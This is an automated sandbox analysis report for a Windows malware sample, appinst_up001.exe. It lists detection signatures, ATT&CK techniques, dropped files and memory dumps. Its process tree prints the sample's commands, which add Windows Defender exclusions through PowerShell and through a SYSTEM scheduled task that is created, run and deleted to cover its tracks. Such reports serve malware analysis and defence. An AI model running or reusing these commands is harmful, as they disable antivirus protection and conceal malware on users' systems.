Analysis
- max time kernel
148s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
15/08/2026, 02:11
General
- Target appinst_up001.exe
- Size 36.8MB
- Sample260815-cml6qadd29
- SHA256 690a0ca12f3c15f3bc46886e756f3e3436bf4b9ed4767bb0c84dc8f53ba33f81
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 2 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe"C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Public\NArG3S\6QcDLa.exe"C:\Users\Public\NArG3S\6QcDLa.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NArG3S\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NArG3S\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Users\Public\NArG3S\6QcDLa.exe"C:\Users\Public\NArG3S\6QcDLa.exe"1⤵
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NArG3S" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
6QcDLa.exe
UxEnhance64.dll
adoresd.dat
msadox.tb
memory/1692-578-0x00007FFEAE7E0000-0x00007FFEAE7E2000-memory.dmp
memory/1692-576-0x000001A4CF350000-0x000001A4CFBE1000-memory.dmp
memory/1692-572-0x00007FFE8BC00000-0x00007FFE8C11E000-memory.dmp
memory/4428-539-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-546-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-531-0x00007FFE8BC00000-0x00007FFE8C11E000-memory.dmp
memory/4428-565-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-563-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-536-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-538-0x00007FFEAE7E0000-0x00007FFEAE7E2000-memory.dmp
memory/4428-561-0x000001B47C850000-0x000001B47C8DA000-memory.dmp
memory/4428-543-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-544-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-545-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-530-0x00007FFEAE7D0000-0x00007FFEAE7D2000-memory.dmp
memory/4428-551-0x000001B47D350000-0x000001B47DBE1000-memory.dmp
memory/4428-556-0x000001B47C740000-0x000001B47C78E000-memory.dmp
memory/4428-558-0x000001B47C850000-0x000001B47C8DA000-memory.dmp
memory/4428-560-0x000001B47C850000-0x000001B47C8DA000-memory.dmp
memory/4428-559-0x000001B47C850000-0x000001B47C8DA000-memory.dmp
memory/5672-0-0x00000000044B0000-0x00000000044BE000-memory.dmp
memory/5672-524-0x00000000044B0000-0x00000000044BE000-memory.dmp
memory/5672-525-0x00007FFEA5D90000-0x00007FFEA5DA2000-memory.dmp
memory/5672-504-0x00007FFEA5D90000-0x00007FFEA5DA2000-memory.dmp
memory/5672-2-0x00000000044C0000-0x00000000044CC000-memory.dmp
memory/5672-1-0x00000000044B0000-0x00000000044BE000-memory.dmp